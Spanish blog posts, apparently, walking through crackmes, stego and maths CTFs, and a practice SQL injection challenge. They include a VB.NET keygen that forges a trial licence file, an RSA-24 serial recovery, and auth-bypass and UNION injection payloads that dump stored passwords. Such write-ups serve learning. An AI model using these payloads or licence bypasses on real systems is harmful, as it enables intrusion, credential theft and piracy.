00401065   |.  833D E0304000 0B    CMP DWORD PTR DS:[4030E0],0B
0040106C   |.  0F85 E9000000       JNZ timetria.0040115B
00401072   |.  BB AB304000         MOV EBX,timetria.004030AB
00401077   |.  68 E4304000         PUSH timetria.004030E4                    ; /pSystemTime = timetria.004030E4
0040107C   |.  E8 97010000         CALL <JMP.&KERNEL32.GetSystemTime>        ; \GetSystemTime
00401081   |.  803B 00             CMP BYTE PTR DS:[EBX],0
00401084   |.  75 22               JNZ SHORT timetria.004010A8               ;  Si existe el fichero salta a las comprobaciones
00401086   |.  51                  PUSH ECX
00401087   |.  33C9                XOR ECX,ECX
00401089   |.  EB 15               JMP SHORT timetria.004010A0
0040108B   |>  66:8B81 E4304000    /MOV AX,WORD PTR DS:[ECX+4030E4]          ;  |
00401092   |.  66:35 6969          |XOR AX,6969                              ;  |
00401096   |.  66:8981 AB304000    |MOV WORD PTR DS:[ECX+4030AB],AX          ;  |
0040109D   |.  83C1 02             |ADD ECX,2                                ;  | Bucle de codificacion de data.det por primera vez
004010A0   |>  83F9 08              CMP ECX,8                                ;  |
004010A3   |.^ 76 E6               \JBE SHORT timetria.0040108B              ;  |
004010A5   |.  59                  POP ECX                                   ;  kernel32.7580EE1C
004010A6   |.  EB 3A               JMP SHORT timetria.004010E2

 

Vigilando el proceso de creación del archivo podemos llegar a la conclusión de como se genera.

  • Los dos primeros bytes son el año = 2014 = 0x7DE. 7DE XOR 6969 = 6EB7.
  • Los dos siguientes son el mes = 10 = 0xA. A XOR 6969 = 6963.
  • Los dos siguientes usa un 4 (día de la semana???) = 0x4. 4 XOR 6969 = 696D.
  • Los dos siguientes son el día del mes = 2 = 0x2. 2 XOR 6969 = 696B
  • Los dos siguientes usa un 1 = 0x1. 1 XOR 6969 = 6968.
  • El número de sesiones lo deja como está, 60.

Estado de la memoria:

004030AB  B7 6E 63 69 6D 69 6B 69 68 69 60                 ·ncimikihi`
  •  Finalmente le resta 1 al número de sesiones y guarda el fichero.
004010E2   |> \A0 B5304000         MOV AL,BYTE PTR DS:[4030B5]
004010E7   |.  34 69               XOR AL,69
004010E9   |.  3C 00               CMP AL,0
004010EB   |. /74 59               JE SHORT timetria.00401146
004010ED   |. |FEC8                DEC AL
004010EF   |. |A2 01304000         MOV BYTE PTR DS:[403001],AL
004010F4   |. |34 69               XOR AL,69
004010F6   |. |A2 B5304000         MOV BYTE PTR DS:[4030B5],AL
004010FB   |. |6A 00               PUSH 0                                    ; /Origin = FILE_BEGIN
004010FD   |. |6A 00               PUSH 0                                    ; |pOffsetHi = NULL
004010FF   |. |6A 00               PUSH 0                                    ; |OffsetLo = 0
00401101   |. |FF35 14314000       PUSH DWORD PTR DS:[403114]                ; |hFile = 00000034 (window)
00401107   |. |E8 18010000         CALL <JMP.&KERNEL32.SetFilePointer>       ; \SetFilePointer
0040110C   |. |6A 00               PUSH 0                                    ; /pOverlapped = NULL
0040110E   |. |68 E0304000         PUSH timetria.004030E0                    ; |pBytesWritten = timetria.004030E0
00401113   |. |6A 0B               PUSH 0B                                   ; |nBytesToWrite = B (11.)
00401115   |. |68 AB304000         PUSH timetria.004030AB                    ; |Buffer = timetria.004030AB
0040111A   |. |FF35 14314000       PUSH DWORD PTR DS:[403114]                ; |hFile = 00000034 (window)
00401120   |. |E8 05010000         CALL <JMP.&KERNEL32.WriteFile>            ; \WriteFile

En cada ejecución realiza tres comprobaciones.
Recordemos el contenido del fichero:

B7 6E 63 69 6D 69 6B 69 68 69 60                 ·ncimikihi`

1) Mes y año (4 primeros bytes)

004010A8   |> \8B0D AB304000       MOV ECX,DWORD PTR DS:[4030AB] ; ECX=69636EB7
004010AE   |.  81F1 69696969       XOR ECX,69696969              ; 69636EB7 xor 69696969 = A07DE (A = mes y 7DE = año)
004010B4   |.  A1 E4304000         MOV EAX,DWORD PTR DS:[4030E4]
004010B9   |.  3BC1                CMP EAX,ECX                   ; Compara con mes y año actuales
004010BB   |.  0F85 85000000       JNZ timetria.00401146         ; Bad boy

2) Día (7º y 8º byte)

004010C1   |.  66:8B0D B1304000    MOV CX,WORD PTR DS:[4030B1]   ; CX = 696B
004010C8   |.  66:81F1 6969        XOR CX,6969                   ; 696B xor 6969 = 2
004010CD   |.  66:A1 EA304000      MOV AX,WORD PTR DS:[4030EA]   ; AX = día actual obtenido con GetSystemTime
004010D3   |.  66:2BC1             SUB AX,CX                     ; Los resta
004010D6   |.  66:83F8 03          CMP AX,3                      ; Compara con 3
004010DA   |.  77 6A               JA SHORT timetria.00401146    ; Si el resultado >=3 Bad Boy

3) Sesiones (11º byte)

004010DC   |.  2805 00304000       SUB BYTE PTR DS:[403000],AL   ;
004010E2   |>  A0 B5304000         MOV AL,BYTE PTR DS:[4030B5]   ; AL = numero de sesiones actual
004010E7   |.  34 69               XOR AL,69                     ; 61 Xor 69 = 8
004010E9   |.  3C 00               CMP AL,0                      ; Compara con 0
004010EB   |.  74 59               JE SHORT timetria.00401146    ; Salta si hemos superado las 9 sesiones. Bad boy
004010ED   |.  FEC8                DEC AL                        ; Si no le resta 1
004010EF   |.  A2 01304000         MOV BYTE PTR DS:[403001],AL
004010F4   |.  34 69               XOR AL,69                     ; y le hace xor 69 para codificar el nuevo valor de sesión
004010F6   |.  A2 B5304000         MOV BYTE PTR DS:[4030B5],AL

Con esto ya podemos alterar el archivo a nuestro antojo sin necesidad de parchear.

Keygen

Try
            ano = ano Xor 26985
            mes = mes Xor 26985
            dia = dia Xor 26985
            anos = Hex(ano).ToString
            mess = Hex(mes).ToString
            dias = Hex(dia).ToString
            If txtsesiones.Text <= 255 Then
                sesioness = Hex(sesiones)
            Else
                sesiones = 255
            End If
            sesioness = Hex(sesiones)
            'key = 00 00 00 00 00 00 00 00 00 00 00
            'key = año+año+mes+mes+X+X+dia+dia+X+sesiones
            key = Chr(Convert.ToInt32(anos.Substring(2, 2), 16)) & Chr(Convert.ToInt32(anos.Substring(0, 2), 16)) _
            & Chr(Convert.ToInt32(mess.Substring(2, 2), 16)) & Chr(Convert.ToInt32(mess.Substring(0, 2), 16)) _
            & Chr(106) & Chr(105) _
            & Chr(Convert.ToInt32(dias.Substring(2, 2), 16)) & Chr(Convert.ToInt32(dias.Substring(0, 2), 16)) _
            & Chr(103) & Chr(105) _
            & Chr(Convert.ToInt32(sesioness.Substring(0, 2), 16))
            'Creo el archivo llave
            Dim ruta As String = Application.StartupPath & "\DATA.DET"
            If File.Exists(ruta) Then
                File.Delete(ruta)
            End If
            Using sw As StreamWriter = New StreamWriter(ruta, True, System.Text.Encoding.Default)
                sw.Write(key)
                sw.Close()
            End Using
            MsgBox("DATA.DET generado correctamente", MsgBoxStyle.Information + MsgBoxStyle.OkOnly, "Info")
        Catch ex As Exception
            MsgBox("Ocurrió algún error" & vbCrLf & ex.Message)
        End Try

 Links


Intro Hoy tenemos aquí un crackme del 2009 originario de crackmes.de. El Crackme está hecho en VB6, sin empacar y
Introducción Hoy tenemos aquí un crackme de los que te hacen temblar las conexiones neuronales. Estamos acostumbrados al típico serial
Con The Ring inauguro una nueva sección llamada Blooper Tech Movie (BTM), algo así como pifias o tomas falsas tecnológicas
AVISO: Debido a que este reto está en activo no publicaré a donde pertenece. Ya sabéis que los retos stego

5 Retos Stego sencillos

Computer Password Security Hacker

En el primer vistazo con el editor hexadecimal ya vemos la solución al reto:

Pho

Al igual que el caso anterior con el editor hexadecimal tenemos más que suficiente para resolver el reto.

Minions

En el análisis inicial no destaca prácticamente nada excepto la palabra myadmin que podemos ver con un editor hexadecimal.

La palabra myadmin es una buena candidata a ser contraseña ante una decodificación. Probamos con lo estándar y conseguimos resultados con steghide. La decodificación nos devuelve la cadena AEMAVABGAGwAZQBhAHIAbgB7AHQAaABpAHMAXwBpAHMAXwBmAHU***** que rápidamente catalogamos como base64 para resolver el reto.

Unopenable

Se nos entrega una imagen GIF aparentemente corrupta. Estudiando un poco la cabecera de los archivos GIF llegamos rápidamente a la conclusión de que faltan los cuatro primeros bytes del archivo.

Bytes originales
Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

00000000  39 61 F4 01 F4 01 F4 00 00 00 00 00 3A 00 00 00  9aô.ô.ô.....:...
00000010  00 3A 3A 00 3A 66 00 00 66 00 3A 00 00 66 90 3A  .::.:f..f.:..f.:
00000020  00 90 3A 3A B6 66 00 B6 66 3A 90 90 3A DB 90 3A  ..::¶f.¶f:..:Û.:
00000030  FF B6 66 00 3A 90 66 3A 90 00 66 90 00 66 B6 3A  ÿ¶f.:.f:..f..f¶:

Después de insertar los bytes que faltan
Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

00000000  47 49 46 38 39 61 F4 01 F4 01 F4 00 00 00 00 00  GIF89aô.ô.ô.....
00000010  3A 00 00 00 00 3A 3A 00 3A 66 00 00 66 00 3A 00  :....::.:f..f.:.
00000020  00 66 90 3A 00 90 3A 3A B6 66 00 B6 66 3A 90 90  .f.:..::¶f.¶f:..
00000030  3A DB 90 3A FF B6 66 00 3A 90 66 3A 90 00 66 90  :Û.:ÿ¶f.:.f:..f.

Una vez insertados los bytes podemos ver una animación que contiene una cadena de texto fácilmente reconocible como base64. La decodificamos y ya tenemos la solución.

Oreo

Mirando con un editor hexadecimal no encontramos nada excepto la frase This is not the flag you are looking for para intentar disuadirnos.

Cargamos la imagen en Aperi’Solve y enseguida nos llama la atención la sección Binwalk y un suculento Rar.

Descargamos el archivo Rar y al descomprimir nos encontramos con un archivo de texto con la misma frase desalentadora del inicio y una imagen JPG, esta vez con dos oreos. Inspeccionando la imagen damos con la solución.

¿El crackme de android más famoso del mundo?

Hace unos años cuando empecé a trastear con Android y animado por mi afición a la Ingeniería Inversa, decidí realizar una serie de crackmes. Los dos primeros pasaron algo desapercibidos, pero el Crackme nº3 tuvo una gran repercusión en el mundillo y, aunque no fue el primer crackme para Android ni mucho menos, si que fue uno de los más estudiados. Todos ellos fueron publicados a través de crackmes.de y el nº3 en cuestión el 6 de Noviembre de 2010. Os dejo una lista de unas cuantas webs donde aparece analizado para que veáis la repercusión que a mi parecer tuvo.

Soluciones al crackme

Referencias al crackme

Links


Intro Hoy tenemos un crackme realizado en ensamblador y sin empacar. Consiste en el típico serial asociado a un nombre
Hoy tenemos aquí un capitulo del gran David Slade, productor de Series como American Gods o Hannibal y director de
http://youtu.be/c4CNY902SAE Versión de texto Lista de reproducción
Warning: This challenge is still active and therefore should not be resolved using this information. Aviso: Este reto sigue en

ThisIsLegal.com – SQL Challenge 2

Warning: This challenge is still active and therefore should not be resolved using this information.
Aviso: Este reto sigue en activo y por lo tanto no se debería resolver utilizando esta información.

Introducción

 Este reto consiste en lo siguiente, tenemos un formulario de Login standar que podemos pasar fácilmente y seguido han implementado una pregunta de seguridad adicional para cada usuario. El login lo muestro en la imágen inferior y lo pasamos con una inyección clásica.
Username: admin
Password: ‘or ‘1’=’1

Seguido tenemos la pregunta de seguridad.

Introducimos cualquier cosa y nos muestra el siguiente error.

El error nombra la tabla «security«, luego la usaremos.

Intentamos sin éxito inyectar en la pregunta de seguridad, de modo que nos centraremos en el login.

Inyección SQL Avanzada

Para inyectar a continuación meter cualquier nombre y la inyección en el password.

  • Sacando el nombre de la base de datos
SQLI: ' OR EXISTS(SELECT * FROM users WHERE name='admin' AND password LIKE '%w%') AND ''='
Response: Table 'thisi30_chal.users' doesn't exist
  • Sacando la versión de MySQL
SQLI: 0' UNION SELECT @@version,null'
Response: 5.5.36-cll
  • Nombre de la tabla
SQLI: 0' UNION SELECT table_name,null FROM information_schema.tables WHERE version = '10
Response: userdb
  •  Todas las columnas de la tabla security
SQLI: 0' UNION SELECT group_concat(column_name),null FROM information_schema.columns WHERE table_name = 'security
Response: ID,name,secquestion,answer
  • Todas las columnas de userdb
SQLI: 0' UNION SELECT group_concat(column_name),null FROM information_schema.columns WHERE table_name = 'userdb
Response: id,name,password

Ya tenemos las dos tablas que nos interesan con las columnas correspondintes, ahora vamos a por lo que hemos venido a buscar.

  • Obtener ID, name, password para los usuarios con ID = 1,2,3,4
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '1
Response: 1:admin:fr0gger
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '2
Response: 2:jack:simple123
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '3
Response: 3:cr0pt:cr0p111
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '4
Response: 4:us3r:a1b2c3
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '5
Response: ERROR, there are only 4 users
  •  Obtener ID, name, secquestion, answer para los usuarios con ID = 1,2,3,4
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '1
Response: 1:admin:mothers maiden name:*******
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '2
Response: 2:jack:birthplace:*****
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '3
Response: 3:cr0pt:querty:****
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '4
Response: 4:us3r:favourite food:***
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '5
Response: ERROR, there are only 4 users

 Aunque aquí se muestra el resumen final, hasta dar con la solución correcta tuve que probar hasta 20 inyecciones diferentes. Mi consejo es que leáis todos los manuales que podáis hasta entender correctamente a que os enfrentais ya que por ejemplo, con este reto se puede aprender perfectamente como funciona una inyección SQL más compleja.

Links

ChatGPT vs CTF matemático

El reto

Se nos proporciona la imagen anterior y se nos invita a resolver la ecuación para el menor entero positivo que representa cada fruta. La solución del reto es concatenar «Flag-» a la suma de los valores de las tres frutas.

Análisis inicial

El enunciado es breve pero ya nos adelanta que existen varias soluciones y que además sólo quieren los números más pequeños que podamos encontrar.

Las frutas están muy bien y son muy sanas pero a nosotros se nos hace más sencillo plantear la ecuación con letras.

\begin{align}
&  \frac{x}{y+z}+\frac{y}{x+z}+\frac{z}{x+y}=4\\
\end{align}

Para arrojar algo de luz veamos la representación gráfica en 2D y 3D con la ayuda de Desmos.

3D

Las gráficas más que luz nos traen oscuridad de modo que preguntemos a ChatGPT.

ChatGPT

resuelve: (x/y+z)+(y/x+z)+(z/x+y)=4 para enteros positivos

Dado que las variables x, y, z son enteros positivos, podemos intentar encontrar una solución para la ecuación bajo estas condiciones. Sin embargo, encontrar una solución exacta puede ser complejo debido a la naturaleza no lineal de la ecuación. Aun así, podemos intentar algunos enfoques:

  • Prueba y error: Podemos probar diferentes combinaciones de valores enteros positivos para x, y, z y ver si satisfacen la ecuación.
  • Análisis de casos específicos: Podemos comenzar analizando casos más simples, como cuando dos de las variables son iguales, y luego ampliar nuestra búsqueda desde allí.
  • Análisis gráfico o numérico: Utilizando herramientas gráficas o numéricas, podríamos identificar posibles soluciones y luego verificar si son enteros positivos.

Voy a realizar un análisis numérico con un rango limitado de valores para ver si encontramos alguna solución que cumpla con las condiciones. Vamos a probar con valores de 1 a 10 para cada variable.

El análisis numérico para valores de en el rango de 1 a 10 no ha encontrado ninguna solución que satisfaga la ecuación. Esto sugiere que, dentro de este rango, no existen combinaciones de enteros positivos que cumplan con la ecuación.

Dado que la ecuación es bastante compleja y no lineal, es posible que las soluciones, si existen, se encuentren fuera del rango considerado o que requieran un enfoque diferente para ser identificadas. Si tienes un rango específico de valores en mente o si hay alguna otra restricción o contexto relevante, por favor házmelo saber para poder ajustar el análisis en consecuencia.

Básicamente nos está invitando a utilizar prueba y error para encontrar una solución, y el prueba y error de las matemáticas no es más que la fuerza bruta en programación.

El código

Partiendo del problema anterior dame un código en python que realice una comprobación recursiva de todas las variables con un rango de 1 a 999.

soluciones = []
rango_valores_x = range(1, 999)
rango_valores_y = range(1, 999)
rango_valores_z = range(1, 999)

for x in rango_valores_x:
    for y in rango_valores_y:
        for z in rango_valores_z:
            # Calculamos el valor de la expresión para cada combinación de x, y, z
            valor = x / (y + z) + y / (x + z) + z / (x + y)
            # Comprobamos si el valor es igual a 4 y agregamos la solución a la lista
            if abs(valor - 4) < 1e-6:  # Usamos una pequeña tolerancia para evitar errores de precisión
                soluciones.append((x, y, z))

print(soluciones)

Dejo resaltada la línea 12 del código ya que en ella reside el problema. Está comprobando con un margen de tolerancia de 10-6 ya que el resultado de las diferentes fracciones no da como resultado exacto 4. Esto es un problema ya que nosotros necesitamos que de exactamente 4 para validar los valores enteros de x, y y z. Pongo un ejemplo para el que se haya perdido con una solución válida para la tolerancia 10-6 siendo x=2, y=264 y z=993.

\begin{align}
&  \frac{2}{264+993}+\frac{264}{2+993}+\frac{993}{2+264}=4.000000429\\
\end{align}

En otras palabras, ChatGPT nos ha brindado una solución aproximada que no sirve para nuestro propósito. Seguimos probando con el código anterior quitando la tolerancia y con rangos mayores hasta que en 106 paro. Me acaba de quedar claro que con la fuerza bruta no vamos a ninguna parte, o más bien, no tenemos capacidad de computación para resolverlo de ésta manera.

¿Qué está pasando?

Lo que pasa es que estamos ante una ecuación algebraica de 3 incógnitas que deben ser enteros positivos cuya solución se alcanza mediante la teoría de curvas elípticas.

Curvas elípticas

Las curvas elípticas son fundamentales en matemáticas avanzadas, representadas por la ecuación y2=x3+Ax+B, donde A y B son constantes. Estas curvas son un punto de encuentro entre la geometría, la teoría de números y el álgebra, ofreciendo un campo rico para la exploración y el análisis. En este CTF, nos enfocaremos en los puntos racionales de las curvas elípticas. Utilizando el método tangente-secante, un procedimiento geométrico iterativo, buscaremos ampliar un conjunto finito de soluciones conocidas a la ecuación de la curva. Este método nos permite indagar en la estructura de las soluciones racionales, que potencialmente pueden ser infinitas. Además, estableceremos una conexión entre las soluciones enteras de las ecuaciones diofánticas y los puntos racionales en las curvas elípticas partiendo de la ecuación (1) especificada en el análisis inicial. A pesar de su aparente simplicidad, esta ecuación es conocida por presentar soluciones mínimas de gran tamaño.

Adecuación

Antes de nada, necesitamos saber el grado de la ecuación, de modo que planteamos la ecuación en forma polinómica estándar deshaciéndonos de los denominadores.

\begin{align}
\begin{split}
n(a+b)(b+c)(c+a)=a(a+b)(c+a)+b(b+c)(a+b)+c(c+a)(b+c)
\end{split}
\end{align}

Ahora necesitamos expandir y simplificar para llegar a la conclusión de que estamos ante una ecuación diofántica de grado 3. Este proceso es engorroso por la cantidad de términos a manejar así que vamos a utilizar Mathematica como software de respaldo para finalmente obtener el polinomio en la forma de Weierstrass según la ecuación 4.

\begin{align}
&  y^2=x^3+109x^2+224x\\
\end{align}

donde:

\begin{align}
x = \frac{−28(a+b+2c)}{(6a+6b−c)}\\
y = \frac{364(a−b)}{(6a+6b−c)}
\end{align}

Las relación entre la ecuación 3 y los puntos de la curva elíptica se establecen mediante la ecuación 4. Las transformaciones entre las soluciones (a, b, c) y los puntos (x, y) en la curva elíptica vienen dados por las ecuaciones 5 y 6. Con estas transformaciones, cada solución de la ecuación diofántica se puede representar como un punto en la curva elíptica, y las operaciones de suma de puntos en la curva elíptica pueden usarse para encontrar nuevas soluciones de la ecuación diofántica.

Mathematica

El código que tenéis a continuación pertenece al gran trabajo de Aditi Kulkarni [7], que además nos da el resultado para cualquier valor de n. Ojo porque para n=4 el resultado tiene 81 dígitos, para n=6 tiene 134, para n=10 tiene 190 y para n=12 asciende a 2707 dígitos.

(* Asignar un valor numérico a n *)
n = 4;
(* Definir la ecuación de una curva elíptica en términos de n *)
curve4 = y^2 == x^3 + (4*n^2 + 12*n - 3)*x^2 + 32*(n + 3)*x;
(* Encontrar un punto racional en la curva que no sea (4,0) *)
P4 = {x, y} /. First[FindInstance[curve4 && x != 4 && y != 0, {x, y}, Integers]];
(* Función para calcular la pendiente entre dos puntos en la curva, 
   o la derivada en el punto si son iguales *)
Slope4[{x1_, y1_}, {x2_, y2_}] := 
  If[x1 == x2 && y1 == y2, 
     ImplicitD[curve4, y, x] /. {x -> x1, y -> y1}, 
     (y2 - y1)/(x2 - x1)];
(* Función para calcular la intersección en y de la línea entre dos puntos 
   o la tangente en el punto si son iguales *)
Intercept4[{x1_, y1_}, {x2_, y2_}] := y1 - Slope4[{x1, y1}, {x2, y2}]*x1; 
(* Función para encontrar el siguiente punto racional en la curva *)
nextRational4[{x1_, y1_}, {x2_, y2_}] := 
  {Slope4[{x1, y1}, {x2, y2}]^2 - CoefficientList[curve4[[2]], x][[3]] - x1 - x2, 
   -Slope4[{x1, y1}, {x2, y2}]^3 + Slope4[{x1, y1}, {x2, y2}]*(CoefficientList[curve4[[2]], x][[3]] + x1 + x2) - Intercept4[{x1, y1}, {x2, y2}]};
(* Función para convertir un punto en la curva elíptica a una solución diofántica *)
ellipticToDiophantine[n_, {x_, y_}] := 
  {(8*(n + 3) - x + y)/(2*(4 - x)*(n + 3)), 
   (8*(n + 3) - x - y)/(2*(4 - x)*(n + 3)), 
   (-4*(n + 3) - (n + 2)*x)/((4 - x)*(n + 3))};
(* Usar nextRational4 para iterar desde P4 hasta encontrar una solución 
   válida y positiva para la ecuación diofántica *)
sol4 = ellipticToDiophantine[n, 
   NestWhile[nextRational4[#, P4] &, P4, 
     ! AllTrue[ellipticToDiophantine[n, #], Function[item, item > 0]] &]];
(* Escalar la solución para obtener enteros mínimos *)
MinSol4 = sol4*(LCM @@ Denominator[sol4])
(* Suma de las tres variables*)
Total[MinSol4]

Solución

Concatenando Flag- con el resultado de Mathematica tenemos la ansiada flag.

Flag-195725546580804863527010379187516702463973843196699016314931210363268850137105614

Conclusiones

ChatGPT ha demostrado ser eficaz en el análisis y la resolución de problemas, siempre que se le proporcione el contexto adecuado. Sin embargo, es importante ser conscientes de que la respuesta proporcionada puede ser aproximada, especialmente si la solución requiere una gran cantidad de recursos computacionales. Por ejemplo, al trabajar con una ecuación diofántica y valores específicos para (x) e (y), ChatGPT puede ayudar a calcular puntos como (P), (2P), (3P), etc., pero hay que tener en cuenta que los resultados para estos puntos pueden ser estimaciones.

Finalmente, os invito a leer la solución de Mingliang Z. [4], en la que se resuelve el problema por completo y de forma muy detallada.

Enlaces

Solución al Crackme RSA (RSA24) de TSC

Introducción

Esta vez se trata de un crackme realizado en VC++ 5.0/6.0 y en sus entrañas utiliza RSA-24. En este caso la peculiaridad es que el nombre no interviene en la generación del serial siendo un resultado único.

Resumen RSA

Parámetros

p = Primer número primo
q = Segundo número primo
e = Exponente público que cumpla MCD(e,(p-1)*(q-1))==1
n = Módulo público siendo n=p*q
d = Exponente privado que cumpla d=e^(-1) mod ((p-1)*(q-1))

De este modo e y n son la parte pública de la clave y d y n la parte privada. Los número primos p y q se utilizan solo para generar los parámetros y de ahí en adelante se pueden desechar.

Funciones de Cifrado/Descifrado

cifrado = descifrado ^ e mod n
descifrado = cifrado ^ d mod n

OllyDbg

Nuestro primer vistazo con OllyDbg nos muestra cuatro números de los que podemos hacernos una idea de que 9901 es un buen candidato a ser el exponente público (e) y 12790891 el módulo n ya que casualmente es un número de 24 bits. Los otros dos números de momento no nos dicen nada.

Referencias de texto

A continuación de los números tenemos la rutina de comprobación en la que comprueba que nuestro serial tenga 14 dígitos y lo divide en dos partes de 7 dígitos. Interesante ya que los otros dos números que aparecían en las referencias de texto tienen 7 dígitos cada uno.

004029CD  |.  68 DC004200   PUSH    RSA24.004200DC                         ;  ASCII "9901"
004029D2  |.  8D8C24 E40000>LEA     ECX,[DWORD SS:ESP+E4]
004029D9  |.  E8 52E7FFFF   CALL    RSA24.00401130
004029DE  |.  68 D0004200   PUSH    RSA24.004200D0                         ;  ASCII "12790891"
004029E3  |.  8D4C24 1C     LEA     ECX,[DWORD SS:ESP+1C]
004029E7  |.  C78424 640600>MOV     [DWORD SS:ESP+664],0
004029F2  |.  E8 39E7FFFF   CALL    RSA24.00401130
004029F7  |.  68 C8004200   PUSH    RSA24.004200C8                         ;  ASCII "8483678"
004029FC  |.  8D8C24 740200>LEA     ECX,[DWORD SS:ESP+274]
00402A03  |.  C68424 640600>MOV     [BYTE SS:ESP+664],1
00402A0B  |.  E8 20E7FFFF   CALL    RSA24.00401130
00402A10  |.  68 C0004200   PUSH    RSA24.004200C0                         ;  ASCII "5666933"
00402A15  |.  8D8C24 AC0100>LEA     ECX,[DWORD SS:ESP+1AC]
00402A1C  |.  C68424 640600>MOV     [BYTE SS:ESP+664],2
00402A24  |.  E8 07E7FFFF   CALL    RSA24.00401130
00402A29  |.  8B9424 680600>MOV     EDX,[DWORD SS:ESP+668]
00402A30  |.  83CE FF       OR      ESI,FFFFFFFF
00402A33  |.  8BFA          MOV     EDI,EDX
00402A35  |.  8BCE          MOV     ECX,ESI
00402A37  |.  33C0          XOR     EAX,EAX
00402A39  |.  C68424 600600>MOV     [BYTE SS:ESP+660],3
00402A41  |.  F2:AE         REPNE   SCAS [BYTE ES:EDI]
00402A43  |.  F7D1          NOT     ECX
00402A45  |.  49            DEC     ECX
00402A46  |.  83F9 0E       CMP     ECX,0E                                 ;  serial 0xE chars -> 14 digitos
00402A49  |.  0F85 63010000 JNZ     RSA24.00402BB2
00402A4F  |.  33C9          XOR     ECX,ECX
00402A51  |>  8A0411        /MOV     AL,[BYTE DS:ECX+EDX]                  ;  {
00402A54  |.  3C 30         |CMP     AL,30
00402A56  |.  0F8C 56010000 |JL      RSA24.00402BB2
00402A5C  |.  3C 39         |CMP     AL,39                                 ;  comprueba que el serial sea numerico
00402A5E  |.  0F8F 4E010000 |JG      RSA24.00402BB2
00402A64  |.  41            |INC     ECX
00402A65  |.  83F9 0E       |CMP     ECX,0E
00402A68  |.^ 7C E7         \JL      SHORT RSA24.00402A51                  ;  }
00402A6A  |.  8BC2          MOV     EAX,EDX
00402A6C  |.  C64424 17 00  MOV     [BYTE SS:ESP+17],0                     ;  {
00402A71  |.  C64424 0F 00  MOV     [BYTE SS:ESP+F],0
00402A76  |.  8B08          MOV     ECX,[DWORD DS:EAX]
00402A78  |.  894C24 10     MOV     [DWORD SS:ESP+10],ECX
00402A7C  |.  66:8B48 04    MOV     CX,[WORD DS:EAX+4]
00402A80  |.  66:894C24 14  MOV     [WORD SS:ESP+14],CX
00402A85  |.  8B4A 07       MOV     ECX,[DWORD DS:EDX+7]
00402A88  |.  8A40 06       MOV     AL,[BYTE DS:EAX+6]                     ;  divide el serial en dos partes de 7 digitos
00402A8B  |.  894C24 08     MOV     [DWORD SS:ESP+8],ECX
00402A8F  |.  884424 16     MOV     [BYTE SS:ESP+16],AL
00402A93  |.  8D42 07       LEA     EAX,[DWORD DS:EDX+7]
00402A96  |.  8D4C24 10     LEA     ECX,[DWORD SS:ESP+10]
00402A9A  |.  66:8B50 04    MOV     DX,[WORD DS:EAX+4]
00402A9E  |.  8A40 06       MOV     AL,[BYTE DS:EAX+6]                     ;  }

A continuación hace una serie de operaciones matemáticas para finalmente comparar el resultado con 8483678 y con 5666933. Lo que está haciendo es cifrar con nuestro serial en dos partes para comprobar que tenemos el número descifrado. Veamos un ejemplo con el serial 12345678901234.

descifrado ^ e mod n = cifrado
x1 = 1234567 y x2 = 8901234
1º parte del serial
x1 ^ 9901 mod 12790891 != 8483678
2º parte del serial
x2 ^ 9901 mod 12790891 != 5666933

Obviamente el resultado de las operaciones anteriores no da ese resultado y el Crackme nos tira fuera de modo que no nos queda más que atacar a RSA para obtener los primos p y q y el módulo privado d. De este modo podremos obtener los números buenos.

Los primos p y q se obtienen factorizando (botón Factor N) y una vez que tenemos p y q hallamos d (botón Calc. D). Todo esto es coser y cantar con la ayuda de la herramienta RSA-Tool 2. El exponente público e se introduce en hexadecimal.

Obteniendo p, q y d

Una vez que tenemos d hallamos el serial de forma sencilla con la herramienta Big Integer Calculator.

cifrado ^ d mod n = descifrado
1º parte del serial
8483678 ^ 10961333 mod 12790891 = 7167622
2º parte del serial
5666933 ^ 10961333 mod 12790891 = 3196885

SERIAL = 71676223196885
1º parte del serial
2º parte del serial

Enlaces

Blooper Tech Movie VII – Absentia 1×06 (S01E06)

En el BTM anterior nos remontábamos al año 2006 para ver un pequeño gazapo ocurrido en la serie Dexter. En esta ocasión vamos a hablar sobre un pequeño detalle de una serie actual, Absentia. No es un gazapo, pero es algo bastante poco creíble hoy día.

Hide me

La escena la protagoniza Emily Byrne (Stana Katic) y en ella se ve a Emily buscar algo sospechoso en un portátil.

Primer detalle

En la primera imagen y antes de que Emily haga clic en Documents, se puede apreciar un acceso directo que reza Browser con un icono de la bola del mundo y una lupa. Muy chulo pero para darle más credibilidad a la escena se podía mostrar un acceso directo de Chrome, Firefox o Internet Explorer que son los navegadores más usados.

Where is my Browser?

Where is my Browser?

Para rematar…

A lo que vamos. Emily decide mirar en la carpeta Documents > Videos y para su sorpresa está vacía. Pero como Emily es una mujer de recursos decide comprobar si hay archivos ocultos y para ello retoca las opciones de carpeta.

¡Tachán!, como por arte de magia aparecen todas las carpetas del supuesto asesino con todo tipo de vídeos incriminatorios. Como he comentado anteriormente, parece poco creíble pensar que algo que te puede llevar a la cárcel de por vida sea protegido de forma tan pobre.

Enlaces